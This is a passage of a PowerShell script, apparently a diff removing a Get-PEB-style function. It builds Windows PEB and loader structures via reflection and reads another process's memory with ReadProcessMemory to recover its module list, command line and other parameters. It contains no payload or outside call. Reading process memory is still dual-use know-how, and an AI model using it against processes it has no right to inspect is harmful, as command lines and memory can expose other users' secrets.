[IntPtr], 'Public') | Out-Null - $LdrDataStruct = $PEBLdrDataTypeBuilder.CreateType() - - # Build type for _RTL_BALANCED_NODE - $BalancedNodeTypeBuilder = $ModuleBuilder.DefineType('_RTL_BALANCED_NODE', $Attributes, [System.ValueType]) - $BalancedNodeTypeBuilder.DefineField('Left', [IntPtr], 'Public') | Out-Null - $BalancedNodeTypeBuilder.DefineField('Right', [IntPtr], 'Public') | Out-Null - if ($PowerShellArchitecture -eq 64) { $BalancedNodeTypeBuilder.DefineField('ParentValue', [UInt64], 'Public') | Out-Null } - else { $BalancedNodeTypeBuilder.DefineField('ParentValue', [UInt32], 'Public') | Out-Null } - $BalancedNodeStruct = $BalancedNodeTypeBuilder.CreateType() - - # Build type for _LDR_DLL_LOAD_REASON enum - $EnumBuilder = $ModuleBuilder.DefineEnum('_LDR_DLL_LOAD_REASON', 'Public', [Int32]) - # Define values of the enum - $EnumBuilder.DefineLiteral('StaticDependency', [Int32] 0) | Out-Null - $EnumBuilder.DefineLiteral('StaticForwarderDependency', [Int32] 1) | Out-Null - $EnumBuilder.DefineLiteral('DynamicForwarderDependency', [Int32] 2) | Out-Null - $EnumBuilder.DefineLiteral('DelayloadDependency', [Int32] 3) | Out-Null - $EnumBuilder.DefineLiteral('DynamicLoad', [Int32] 4) | Out-Null - $EnumBuilder.DefineLiteral('AsImageLoad', [Int32] 5) | Out-Null - $EnumBuilder.DefineLiteral('AsDataLoad', [Int32] 6) | Out-Null - $EnumBuilder.DefineLiteral('Unknown', [Int32] -1) | Out-Null - $LoadReasonEnum = $EnumBuilder.CreateType() - - # Build type for _LDR_DATA_TABLE_ENTRY - $PEBLdrModuleTypeBuilder = $ModuleBuilder.DefineType('_LDR_DATA_TABLE_ENTRY', $Attributes, [System.ValueType]) - $PEBLdrModuleTypeBuilder.DefineField('InLoadOrderModuleList', [_LIST_ENTRY], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('InMemoryOrderModuleList', [_LIST_ENTRY], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('InInitializationOrderModuleList', [_LIST_ENTRY], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('BaseAddress', [IntPtr], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('EntryPoint', [IntPtr], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('FullDllName', [_UNICODE_STRING], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('BaseDllName', [_UNICODE_STRING], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('Flags', [UInt32], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('ObsoleteLoadCount', [UInt16], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('TlsIndex', [UInt16], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('HashLinks', [_LIST_ENTRY], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('EntryPointActivationContext', [IntPtr], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('PatchInformation', [IntPtr], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('DdagNode', [IntPtr], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('NodeModuleLink', [_LIST_ENTRY], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('SnapContext', [IntPtr], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('ParentDllBase', [IntPtr], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('SwitchBackContext', [IntPtr], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('BaseAddressIndexNode', [_RTL_BALANCED_NODE], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('MappingInfoIndexNode', [_RTL_BALANCED_NODE], 'Public') | Out-Null - if ($PowerShellArchitecture -eq 64) { $PEBLdrModuleTypeBuilder.DefineField('OriginalBase', [UInt64], 'Public') | Out-Null } - else { $PEBLdrModuleTypeBuilder.DefineField('OriginalBase', [UInt32], 'Public') | Out-Null } - $PEBLdrModuleTypeBuilder.DefineField('LoadTime', [UInt64], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('BaseNameHashValue', [UInt32], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('LoadReason', [_LDR_DLL_LOAD_REASON], 'Public') | Out-Null - $LdrModuleStruct = $PEBLdrModuleTypeBuilder.CreateType() - - $TypeBuilder.DefineField('InheritedAddressSpace', [Byte], 'Public') | Out-Null - $TypeBuilder.DefineField('ReadImageFileExecOptions', [Byte], 'Public') | Out-Null - $TypeBuilder.DefineField('BeingDebugged', [Byte], 'Public') | Out-Null - $TypeBuilder.DefineField('BitField', [Byte], 'Public') | Out-Null - if ($PowerShellArchitecture -eq 64) { $TypeBuilder.DefineField('Reserved3', [UInt32], 'Public, HasFieldMarshal') | Out-Null } - $TypeBuilder.DefineField('Mutant', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('ImageBaseAddress', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('Ldr', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('ProcessParameters', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('SubSystemData', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('ProcessHeap', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('FastPebLock', [IntPtr], 'Public') | Out-Null - - if ($NTDDI_VERSION -ge $NTDDI_VISTA) - { - $TypeBuilder.DefineField('AtlThunkSListPtr', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('IFEOKey', [IntPtr], 'Public') | Out-Null - if ($PowerShellArchitecture -eq 64) { $TypeBuilder.DefineField('CrossProcessFlags', [UInt64], 'Public') | Out-Null - } else { $TypeBuilder.DefineField('CrossProcessFlags', [UInt32], 'Public') | Out-Null } - $TypeBuilder.DefineField('KernelCallbackTable', [IntPtr], 'Public') | Out-Null - } - elseif ($NTDDI_VERSION -ge $NTDDI_WS03) - { - $TypeBuilder.DefineField('AtlThunkSListPtr', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('SparePtr2', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('EnvironmentUpdateCount', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('KernelCallbackTable', [IntPtr], 'Public') | Out-Null - } - else - { - $TypeBuilder.DefineField('FastPebLockRoutine', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('FastPebUnlockRoutine', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('EnvironmentUpdateCount', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('KernelCallbackTable', [IntPtr], 'Public') | Out-Null - } - $TypeBuilder.DefineField('SystemReserved', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('AtlThunkSListPtr32', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('ApiSetMap', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('TlsExpansionCounter', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('TlsBitmap', [IntPtr], 'Public') | Out-Null - $TlsBitmapBitsField = $TypeBuilder.DefineField('TlsBitmapBits', [UInt32[]], 'Public, HasFieldMarshal') - $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 2)) - $TlsBitmapBitsField.SetCustomAttribute($AttribBuilder) - $TypeBuilder.DefineField('ReadOnlySharedMemoryBase', [IntPtr], 'Public') | Out-Null - if ($NTDDI_VERSION -ge $NTDDI_VISTA) - { - $TypeBuilder.DefineField('HotpatchInformation', [IntPtr], 'Public') | Out-Null - } - else - { - $TypeBuilder.DefineField('ReadOnlySharedMemoryHeap', [IntPtr], 'Public') | Out-Null - } - $TypeBuilder.DefineField('ReadOnlyStaticServerData', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('AnsiCodePageData', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('OemCodePageData', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('UnicodeCaseTableData', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('NumberOfProcessors', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('NtGlobalFlag', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('CriticalSectionTimeout', [Int64], 'Public') | Out-Null - if ($PowerShellArchitecture -eq 64) - { - $TypeBuilder.DefineField('HeapSegmentReserve', [UInt64], 'Public') | Out-Null - $TypeBuilder.DefineField('HeapSegmentCommit', [UInt64], 'Public') | Out-Null - } - else - { - $TypeBuilder.DefineField('HeapSegmentReserve', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('HeapSegmentCommit', [UInt32], 'Public') | Out-Null - } - $TypeBuilder.DefineField('HeapDeCommitTotalFreeThreshold', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('HeapDeCommitFreeBlockThreshold', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('NumberOfHeaps', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('MaximumNumberOfHeaps', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('ProcessHeaps', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('GdiSharedHandleTable', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('ProcessStarterHelper', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('GdiDCAttributeList', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('LoaderLock', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('OSMajorVersion', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('OSMinorVersion', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('OSBuildNumber', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('OSCSDVersion', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('OSPlatformId', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('ImageSubsystem', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('ImageSubsystemMajorVersion', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('ImageSubsystemMinorVersion', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('ActiveProcessAffinityMask', [IntPtr], 'Public') | Out-Null - $GdiHandleBufferField = $TypeBuilder.DefineField('GdiHandleBuffer', [UInt32[]], 'Public, HasFieldMarshal') - if ($PowerShellArchitecture -eq 64) { $GDI_HANDLE_BUFFER_SIZE = 60 } else { $GDI_HANDLE_BUFFER_SIZE = 34 } - $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] $GDI_HANDLE_BUFFER_SIZE)) - $GdiHandleBufferField.SetCustomAttribute($AttribBuilder) - $TypeBuilder.DefineField('PostProcessInitRoutine', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('TlsExpansionBitmap', [IntPtr], 'Public') | Out-Null - $TlsExpansionBitmapBitsField = $TypeBuilder.DefineField('TlsExpansionBitmapBits', [UInt32[]], 'Public, HasFieldMarshal') - $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 32)) - $TlsExpansionBitmapBitsField.SetCustomAttribute($AttribBuilder) - $TypeBuilder.DefineField('SessionId', [UInt32], 'Public') | Out-Null - - if ($NTDDI_VERSION -ge $NTDDI_WINXP) - { - $TypeBuilder.DefineField('AppCompatFlags', [UInt64], 'Public') | Out-Null - $TypeBuilder.DefineField('AppCompatFlagsUser', [UInt64], 'Public') | Out-Null - $TypeBuilder.DefineField('pShimData', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('AppCompatInfo', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('CSDVersion', [_UNICODE_STRING], 'Public') | Out-Null - $TypeBuilder.DefineField('ActivationContextData', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('ProcessAssemblyStorageMap', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('SystemDefaultActivationContextData', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('SystemAssemblyStorageMap', [IntPtr], 'Public') | Out-Null - if ($PowerShellArchitecture -eq 64) { $TypeBuilder.DefineField('MinimumStackCommit', [UInt64], 'Public') | Out-Null - } else { $TypeBuilder.DefineField('MinimumStackCommit', [UInt32], 'Public') | Out-Null } - } - if ($NTDDI_VERSION -ge $NTDDI_WS03) - { - $TypeBuilder.DefineField('FlsCallback', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('FlsListHead', [_LIST_ENTRY], 'Public') | Out-Null - $TypeBuilder.DefineField('FlsBitmap', [IntPtr], 'Public') | Out-Null - $FlsBitmapBitsField = $TypeBuilder.DefineField('FlsBitmapBits', [UInt32[]], 'Public') - $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) - $FlsBitmapBitsField.SetCustomAttribute($AttribBuilder) - $TypeBuilder.DefineField('FlsHighIndex', [UInt32], 'Public') | Out-Null - } - if ($NTDDI_VERSION -ge $NTDDI_VISTA) - { - $TypeBuilder.DefineField('WerRegistrationData', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('WerShipAssertPtr', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('pUnused', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('pImageHeaderHash', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('TracingFlags', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('CsrServerReadOnlySharedMemoryBase', [UInt64], 'Public') | Out-Null - } - - $PEBStruct = $TypeBuilder.CreateType() - } - - $PEBSize = [Runtime.InteropServices.Marshal]::SizeOf([Type]$PEBStruct) - #endregion - - function Local:Get-StructFromMemory - { - [CmdletBinding()] Param ( - [Parameter(Position = 0, Mandatory = $True)] - [Alias('ProcessId')] - [UInt16] - $ProcId, - - [Parameter(Position = 1, Mandatory = $True)] - [IntPtr] - $MemoryAddress, - - [Parameter(Position = 2, Mandatory = $True)] - [Alias('Type')] - [Type] - $StructType, - - [ValidateSet('InLoadOrderModuleList','InMemoryOrderModuleList','InInitializationOrderModuleList')] - [String] - $LoadOrder, - - [UInt16] - $UnicodeStringSize - ) - - if (($StructType -eq [String]) -and ($MemoryAddress -eq 0)) { Write-Output ''; return } - elseif ($MemoryAddress -eq 0) { Write-Output $null; return } - - $PROCESS_VM_READ = 0x0010 # The process permissions we'l ask for when getting a handle to the process - - $GetProcessHandle = [Diagnostics.Process].GetMethod('GetProcessHandle', [Reflection.BindingFlags] 'NonPublic, Instance', $null, @([Int]), $null) - - try - { - $Process = Get-Process -Id $ProcId -ErrorVariable GetProcessError - $Handle = $Process.Handle - } - catch [Exception] - { - Write-Error $GetProcessError - return - } - - if ($Handle -eq $null) - { - Write-Error "Unable to obtain a handle for PID $ProcId. You will likely need to run this script elevated." - return - } - - $ProtectField = $MEMORY_BASIC_INFORMATION.GetField('Protect', [Reflection.BindingFlags] 'NonPublic, Instance') - $AllocationBaseField = $MEMORY_BASIC_INFORMATION.GetField('BaseAddress', [Reflection.BindingFlags] 'NonPublic, Instance') - $RegionSizeField = $MEMORY_BASIC_INFORMATION.GetField('RegionSize', [Reflection.BindingFlags] 'NonPublic, Instance') - - try - { - $SafeHandle = $GetProcessHandle.Invoke($Process, @($PROCESS_VM_READ)) - $Handle = $SafeHandle.DangerousGetHandle() - } - catch - { - Write-Error $Error[0] - return - } - - $PAGE_EXECUTE_READ = 0x20 - $PAGE_EXECUTE_READWRITE = 0x40 - $PAGE_READONLY = 2 - $PAGE_READWRITE = 4 - - if ($StructType -eq $LdrModuleStruct -and $LoadOrder) - { - $OriginalFlink = $MemoryAddress - $Flink = $OriginalFlink - - do - { - $MemoryBasicInformation = [Activator]::CreateInstance($MEMORY_BASIC_INFORMATION) - $NativeUtils::VirtualQueryEx($Handle, $Flink, [Ref] $MemoryBasicInformation, [Runtime.InteropServices.Marshal]::SizeOf([Type]$MEMORY_BASIC_INFORMATION)) | Out-Null - - $Protection = $ProtectField.GetValue($MemoryBasicInformation) - $AllocationBaseOriginal = $AllocationBaseField.GetValue($MemoryBasicInformation) - $GetPointerValue = $AllocationBaseOriginal.GetType().GetMethod('GetPointerValue', [Reflection.BindingFlags] 'NonPublic, Instance') - $AllocationBase = $GetPointerValue.Invoke($AllocationBaseOriginal, $null).ToInt64() - $RegionSize = $RegionSizeField.GetValue($MemoryBasicInformation).ToUInt64() - - if (($Protection -ne $PAGE_READONLY) -and ($Protection -ne $PAGE_READWRITE) -and ($Protection -ne $PAGE_EXECUTE_READ) -and ($Protection -ne $PAGE_EXECUTE_READWRITE)) - { - $SafeHandle.Close() - Write-Error 'The address specified does not have read access.' - return - } - - $StructSize = [Runtime.InteropServices.Marshal]::SizeOf([Type]$LdrModuleStruct) - $EndOfAllocation = $AllocationBase + $RegionSize - $EndOfStruct = $MemoryAddress.ToInt64() + $StructSize - - if ($EndOfStruct -gt $EndOfAllocation) - { - $SafeHandle.Close() - Write-Error 'You are attempting to read beyond what was allocated.' - return - } - - try - { - $LocalStructPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($StructSize) - } - catch [OutOfMemoryException] - { - Write-Error $Error[0] - return - } - - $ZeroBytes = New-Object Byte[]($StructSize) - [Runtime.InteropServices.Marshal]::Copy($ZeroBytes, 0, $LocalStructPtr, $StructSize) - - $BytesRead = [UInt32] 0 - - if ($NativeUtils::ReadProcessMemory($Handle, $Flink, $LocalStructPtr, $StructSize, [Ref] $BytesRead)) - { - $SafeHandle.Close() - [Runtime.InteropServices.Marshal]::FreeHGlobal($LocalStructPtr) - Write-Error ([ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()) - return - } - - $ParsedLdrModule = [Runtime.InteropServices.Marshal]::PtrToStructure($LocalStructPtr, [Type] $LdrModuleStruct) - - [Runtime.InteropServices.Marshal]::FreeHGlobal($LocalStructPtr) - - switch ($LoadOrder) - { - 'InLoadOrderModuleList' { $Flink = $ParsedLdrModule.InLoadOrderModuleList.Flink } - 'InMemoryOrderModuleList' { $Flink = [IntPtr] ($ParsedLdrModule.InMemoryOrderModuleList.Flink.ToInt64() - [Runtime.InteropServices.Marshal]::SizeOf([Type]$ListEntryStruct)) } - 'InInitializationOrderModuleList' { $Flink = [IntPtr] ($ParsedLdrModule.InInitializationOrderModuleList.Flink.ToInt64() - (2 * [Runtime.InteropServices.Marshal]::SizeOf([Type]$ListEntryStruct))) } - } - - $SafeHandle = $GetProcessHandle.Invoke($Process, @($PROCESS_VM_READ)) - $Handle = $SafeHandle.DangerousGetHandle() - - if ($ParsedLdrModule.SizeOfImage) - { - Write-Output $ParsedLdrModule - } - } while (($Flink -ne 0) -and ($Flink -ne $OriginalFlink)) - - $SafeHandle.Close() - } - elseif ($StructType -eq [String] -and $UnicodeStringSize) - { - $MemoryBasicInformation = [Activator]::CreateInstance($MEMORY_BASIC_INFORMATION) - $NativeUtils::VirtualQueryEx($Handle, $MemoryAddress, [Ref] $MemoryBasicInformation, [Runtime.InteropServices.Marshal]::SizeOf([Type]$MEMORY_BASIC_INFORMATION)) | Out-Null - - $Protection = $ProtectField.GetValue($MemoryBasicInformation) - $AllocationBaseOriginal = $AllocationBaseField.GetValue($MemoryBasicInformation) - $GetPointerValue = $AllocationBaseOriginal.GetType().GetMethod('GetPointerValue', [Reflection.BindingFlags] 'NonPublic, Instance') - $AllocationBase = $GetPointerValue.Invoke($AllocationBaseOriginal, $null).ToInt64() - $RegionSize = $RegionSizeField.GetValue($MemoryBasicInformation).ToUInt64() - - if (($Protection -ne $PAGE_READONLY) -and ($Protection -ne $PAGE_READWRITE) -and ($Protection -ne $PAGE_EXECUTE_READ) -and ($Protection -ne $PAGE_EXECUTE_READWRITE)) - { - $SafeHandle.Close() - Write-Error 'The address specified does not have read access.' - return - } - - $StructSize = $UnicodeStringSize - $EndOfAllocation = $AllocationBase + $RegionSize - $EndOfStruct = $MemoryAddress.ToInt64() + $StructSize - - if ($EndOfStruct -gt $EndOfAllocation) - { - $SafeHandle.Close() - Write-Error 'You are attempting to read beyond what was allocated.' - return - } - - try - { - $LocalStructPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($StructSize) - } - catch [OutOfMemoryException] - { - Write-Error $Error[0] - return - } - - $ZeroBytes = New-Object Byte[]($StructSize) - [Runtime.InteropServices.Marshal]::Copy($ZeroBytes, 0, $LocalStructPtr, $StructSize) - - $BytesRead = [UInt32] 0 - - if ($NativeUtils::ReadProcessMemory($Handle, $MemoryAddress, $LocalStructPtr, $StructSize, [Ref] $BytesRead)) - { - $SafeHandle.Close() - [Runtime.InteropServices.Marshal]::FreeHGlobal($LocalStructPtr) - Write-Error ([ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()) - return - } - - $ParsedStruct = [Runtime.InteropServices.Marshal]::PtrToStringUni($LocalStructPtr) - - [Runtime.InteropServices.Marshal]::FreeHGlobal($LocalStructPtr) - $SafeHandle.Close() - - Write-Output $ParsedStruct - } - else - { - $MemoryBasicInformation = [Activator]::CreateInstance($MEMORY_BASIC_INFORMATION) - $NativeUtils::VirtualQueryEx($Handle, $MemoryAddress, [Ref] $MemoryBasicInformation, [Runtime.InteropServices.Marshal]::SizeOf([Type]$MEMORY_BASIC_INFORMATION)) | Out-Null - - $Protection = $ProtectField.GetValue($MemoryBasicInformation) - $AllocationBaseOriginal = $AllocationBaseField.GetValue($MemoryBasicInformation) - $GetPointerValue = $AllocationBaseOriginal.GetType().GetMethod('GetPointerValue', [Reflection.BindingFlags] 'NonPublic, Instance') - $AllocationBase = $GetPointerValue.Invoke($AllocationBaseOriginal, $null).ToInt64() - $RegionSize = $RegionSizeField.GetValue($MemoryBasicInformation).ToUInt64() - - if (($Protection -ne $PAGE_READONLY) -and ($Protection -ne $PAGE_READWRITE) -and ($Protection -ne $PAGE_EXECUTE_READ) -and ($Protection -ne $PAGE_EXECUTE_READWRITE)) - { - $SafeHandle.Close() - Write-Error 'The address specified does not have read access.' - return - } - - $StructSize = [Runtime.InteropServices.Marshal]::SizeOf([Type]$StructType) - $EndOfAllocation = $AllocationBase + $RegionSize - $EndOfStruct = $MemoryAddress.ToInt64() + $StructSize - - if ($EndOfStruct -gt $EndOfAllocation) - { - $SafeHandle.Close() - Write-Error 'You are attempting to read beyond what was allocated.' - return - } - - try - { - $LocalStructPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($StructSize) - } - catch [OutOfMemoryException] - { - Write-Error $Error[0] - return - } - - $ZeroBytes = New-Object Byte[]($StructSize) - [Runtime.InteropServices.Marshal]::Copy($ZeroBytes, 0, $LocalStructPtr, $StructSize) - - $BytesRead = [UInt32] 0 - - if ($NativeUtils::ReadProcessMemory($Handle, $MemoryAddress, $LocalStructPtr, $StructSize, [Ref] $BytesRead)) - { - $SafeHandle.Close() - [Runtime.InteropServices.Marshal]::FreeHGlobal($LocalStructPtr) - Write-Error ([ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()) - return - } - - $ParsedStruct = [Runtime.InteropServices.Marshal]::PtrToStructure($LocalStructPtr, [Type] $StructType) - - [Runtime.InteropServices.Marshal]::FreeHGlobal($LocalStructPtr) - $SafeHandle.Close() - - Write-Output $ParsedStruct - } - } - } - - PROCESS - { - foreach ($ProcessId in $Id) - { - $Handle = $null - - try - { - $Process = Get-Process -Id $ProcessId -ErrorVariable GetProcessError - # Get the process handle - $Handle = $Process.Handle - } - catch { } - - if ($Handle -eq $null) - { - Write-Error "Unable to obtain a handle for PID $ProcessId. You will likely need to run this script elevated." - } - else - { - $SafeHandle = $GetProcessHandle.Invoke($Process, @($PROCESS_QUERY_INFORMATION -bor $PROCESS_VM_READ)) - $Handle = $SafeHandle.DangerousGetHandle() - - Write-Verbose "ProcessName: $($Process.ProcessName)" - Write-Verbose "Handle: $Handle" - - if ($OSArchitecture -eq 64) - { - $IsWow64 = $False - $NativeUtils::IsWow64Process($Handle, [Ref] $IsWow64) | Out-Null - - if ($PowerShellArchitecture -eq 32 -and (-not $IsWow64)) - { - $SafeHandle.Close() - Write-Error 'Cannot get the PEB of a 64-bit process from a Wow64 process. Use 64-bit PowerShell and try again.' - return - } - } - - $ProcessBasicInfo = $NtProcessBasicInfoConstructor.Invoke($null) - - $Status = $NativeUtils::NtQueryInformationProcess($Handle, 0, $ProcessBasicInfo, [Runtime.InteropServices.Marshal]::SizeOf($ProcessBasicInfo), [IntPtr]::Zero) - - Write-Verbose 'ProcessBasicInfo:' - Write-Verbose ($ProcessBasicInfo | Out-String) - - if ($Status -ne 0) - { - $SafeHandle.Close() - Write-Error (Get-NTStatusException $Status) - return - } - - $SafeHandle.Close() - - $PEB = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ($ProcessBasicInfo.PebBaseAddress) -StructType ($PEBStruct) - - $ProcessParams = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ($PEB.ProcessParameters) -StructType ($ProcessParametersStruct) - - $CurrentDirectory = '' - $DllPath = '' - $ImagePathName = '' - $CommandLine = '' - $WindowTitle = '' - $DesktopInfo = '' - $ShellInfo = '' - $RuntimeData = '' - - if ($ProcessParams.CurrentDirectory.Buffer) { $CurrentDirectory = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ($ProcessParams.CurrentDirectory.Buffer) -StructType ([String]) -UnicodeStringSize ($ProcessParams.CurrentDirectory.MaximumLength) } - if ($ProcessParams.DllPath.Buffer) { $DllPath = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ($ProcessParams.DllPath.Buffer) -StructType ([String]) -UnicodeStringSize ($ProcessParams.DllPath.MaximumLength) } else { $DllPath = '' } - if ($ProcessParams.ImagePathName.Buffer) { $ImagePathName = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ($ProcessParams.ImagePathName.Buffer) -StructType ([String]) -UnicodeStringSize ($ProcessParams.ImagePathName.MaximumLength) } - if ($ProcessParams.CommandLine.Buffer) { $CommandLine = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ($ProcessParams.CommandLine.Buffer) -StructType ([String]) -UnicodeStringSize ($ProcessParams.CommandLine.MaximumLength) } - if ($ProcessParams.WindowTitle.Buffer) { $WindowTitle = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ($ProcessParams.WindowTitle.Buffer) -StructType ([String]) -UnicodeStringSize ($ProcessParams.WindowTitle.MaximumLength) } - if ($ProcessParams.DesktopInfo.Buffer) { $DesktopInfo = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ($ProcessParams.DesktopInfo.Buffer) -StructType ([String]) -UnicodeStringSize ($ProcessParams.DesktopInfo.MaximumLength) } - if ($ProcessParams.ShellInfo.Buffer) { $ShellInfo = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ($ProcessParams.ShellInfo.Buffer) -StructType ([String]) -UnicodeStringSize ($ProcessParams.ShellInfo.MaximumLength) } - if ($ProcessParams.RuntimeData.Buffer) { $RuntimeData = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ($ProcessParams.RuntimeData.Buffer) -StructType ([String]) -UnicodeStringSize ($ProcessParams.RuntimeData.MaximumLength) } - - $ProcessParameters = @{ - MaximumLength = $ProcessParams.MaximumLength - Length = $ProcessParams.Length - Flags = $ProcessParams.Flags - DebugFlags = $ProcessParams.DebugFlags - ConsoleHandle = $ProcessParams.ConsoleHandle - ConsoleFlags = $ProcessParams.ConsoleFlags - StandardInput = $ProcessParams.StandardInput - StandardOutput = $ProcessParams.StandardOutput - StandardError = $ProcessParams.StandardError - CurrentDirectory = $CurrentDirectory - DllPath = $DllPath - ImagePathName = $ImagePathName - CommandLine = $CommandLine - Environment = $ProcessParams.Environment - StartingX = $ProcessParams.StartingX - StartingY = $ProcessParams.StartingY - CountX = $ProcessParams.CountX - CountY = $ProcessParams.CountY - CountCharsX = $ProcessParams.CountCharsX - CountCharsY = $ProcessParams.CountCharsY - FillAttribute = $ProcessParams.FillAttribute - WindowFlags = $ProcessParams.WindowFlags - ShowWindowFlags = $ProcessParams.ShowWindowFlags - WindowTitle = $WindowTitle - DesktopInfo = $DesktopInfo - ShellInfo = $ShellInfo - RuntimeData = $RuntimeData - } - - $ProcessParamsParsed = New-Object PSObject -Property $ProcessParameters - $ProcessParamsParsed.PSObject.TypeNames[0] = 'PEB.ProcessParameters' - - # Get custom objects for the PEB based upon OS version - # First, build up the custom object with fields common amongst all versions of the PEB - $CustomPEB = @{ - ProcessName = $Process.ProcessName - ProcessId = $ProcessId - InheritedAddressSpace = if($PEB.InheritedAddressSpace -eq 0){$False}else{$True} - ReadImageFileExecOptions = if($PEB.ReadImageFileExecOptions -eq 0){$False}else{$True} - BeingDebugged = if($PEB.BeingDebugged -eq 0){$False}else{$True} - Mutant = $PEB.Mutant - ImageBaseAddress = $PEB.ImageBaseAddress - Ldr = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ($PEB.Ldr) -StructType ($LdrDataStruct) - ProcessParameters = $ProcessParamsParsed - SubSystemData = $PEB.SubSystemData - ProcessHeap = $PEB.ProcessHeap - FastPebLock = $PEB.FastPebLock - 